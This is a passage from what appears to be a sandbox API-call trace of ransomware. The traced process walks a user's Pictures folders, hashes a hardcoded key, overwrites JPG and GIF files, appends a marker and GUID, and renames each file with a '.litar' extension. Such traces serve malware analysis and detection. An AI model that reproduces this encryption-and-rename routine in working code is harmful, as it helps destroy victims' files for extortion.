FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.223] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.223] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.223] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\") returned="X_INggXuIaYsOTYsJW7\\" [0127.223] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\") returned="WF0f1QmDHo82b2E\\" [0127.223] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0127.223] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0127.223] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.223] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.223] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.224] PathFindFileNameW (pszPath="") returned="" [0127.224] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c0c840, ftCreationTime.dwHighDateTime=0x1d4d1fb, ftLastAccessTime.dwLowDateTime=0xf3788890, ftLastAccessTime.dwHighDateTime=0x1d4ce08, ftLastWriteTime.dwLowDateTime=0xf3788890, ftLastWriteTime.dwHighDateTime=0x1d4ce08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.224] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c0c840, ftCreationTime.dwHighDateTime=0x1d4d1fb, ftLastAccessTime.dwLowDateTime=0xf3788890, ftLastAccessTime.dwHighDateTime=0x1d4ce08, ftLastWriteTime.dwLowDateTime=0xf3788890, ftLastWriteTime.dwHighDateTime=0x1d4ce08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.224] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7d0bd0, ftCreationTime.dwHighDateTime=0x1d4d2a6, ftLastAccessTime.dwLowDateTime=0x70db3cc0, ftLastAccessTime.dwHighDateTime=0x1d4cbf1, ftLastWriteTime.dwLowDateTime=0x70db3cc0, ftLastWriteTime.dwHighDateTime=0x1d4cbf1, nFileSizeHigh=0x0, nFileSizeLow=0x151c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4KoQgGe.jpg", cAlternateFileName="")) returned 1 [0127.224] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\4KoQgGe.jpg") returned=".jpg" [0127.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\4KoQgGe.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\x_inggxuiaysotysjw7\\4koqgge.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.224] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=86466) returned 1 [0127.224] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.226] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1519c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.226] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.228] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x151c2, lpOverlapped=0x0) returned 1 [0127.229] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.229] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.229] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.229] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.229] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.229] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.229] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.229] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.230] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.230] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.230] GetLastError () returned 0x0 [0127.230] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.230] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.230] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.230] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x151c0) returned 0x30fa0b0 [0127.230] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.230] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.230] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x151bd, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x151bd, lpOverlapped=0x0) returned 1 [0127.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.231] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x151c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.231] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.231] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.231] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.231] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.231] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.231] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.231] CloseHandle (hObject=0x624) returned 1 [0127.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.232] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.232] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\4KoQgGe.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\x_inggxuiaysotysjw7\\4koqgge.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\4KoQgGe.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\x_inggxuiaysotysjw7\\4koqgge.jpg.litar")) returned 1 [0127.233] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.233] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.234] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.234] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbfc8b0, ftCreationTime.dwHighDateTime=0x1d4c981, ftLastAccessTime.dwLowDateTime=0xa20091e0, ftLastAccessTime.dwHighDateTime=0x1d4d314, ftLastWriteTime.dwLowDateTime=0xa20091e0, ftLastWriteTime.dwHighDateTime=0x1d4d314, nFileSizeHigh=0x0, nFileSizeLow=0x8226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MGGz-2Q618NkS r.gif", cAlternateFileName="MGGZ-2~1.GIF")) returned 1 [0127.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e440 [0127.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.234] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e440 | out: hHeap=0x5c0000) returned 1 [0127.234] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\MGGz-2Q618NkS r.gif") returned=".gif" [0127.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\MGGz-2Q618NkS r.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\x_inggxuiaysotysjw7\\mggz-2q618nks r.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.234] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=33318) returned 1 [0127.234] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.236] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.236] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.237] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.237] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.237] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8226, lpOverlapped=0x0) returned 1 [0127.238] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.238] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.238] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.238] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.238] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.239] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.239] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.239] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.239] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.239] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.239] GetLastError () returned 0x0 [0127.239] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.239] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.239] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.239] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8230) returned 0x30fa0b0 [0127.240] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.240] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x8221, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x8221, lpOverlapped=0x0) returned 1 [0127.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.240] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.240] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.240] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.240] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.240] CloseHandle (hObject=0x624) returned 1 [0127.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x30072c8 [0127.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e0) returned 0x30fa0b0 [0127.241] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.241] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\MGGz-2Q618NkS r.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\x_inggxuiaysotysjw7\\mggz-2q618nks r.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\X_INggXuIaYsOTYsJW7\\MGGz-2Q618NkS r.gif.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\x_inggxuiaysotysjw7\\mggz-2q618nks r.gif.litar")) returned 1 [0127.242] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.242] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.243] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbfc8b0, ftCreationTime.dwHighDateTime=0x1d4c981, ftLastAccessTime.dwLowDateTime=0xa20091e0, ftLastAccessTime.dwHighDateTime=0x1d4d314, ftLastWriteTime.dwLowDateTime=0xa20091e0, ftLastWriteTime.dwHighDateTime=0x1d4d314, nFileSizeHigh=0x0, nFileSizeLow=0x8226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MGGz-2Q618NkS r.gif", cAlternateFileName="MGGZ-2~1.GIF")) returned 0 [0127.243] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.243] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0127.243] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap 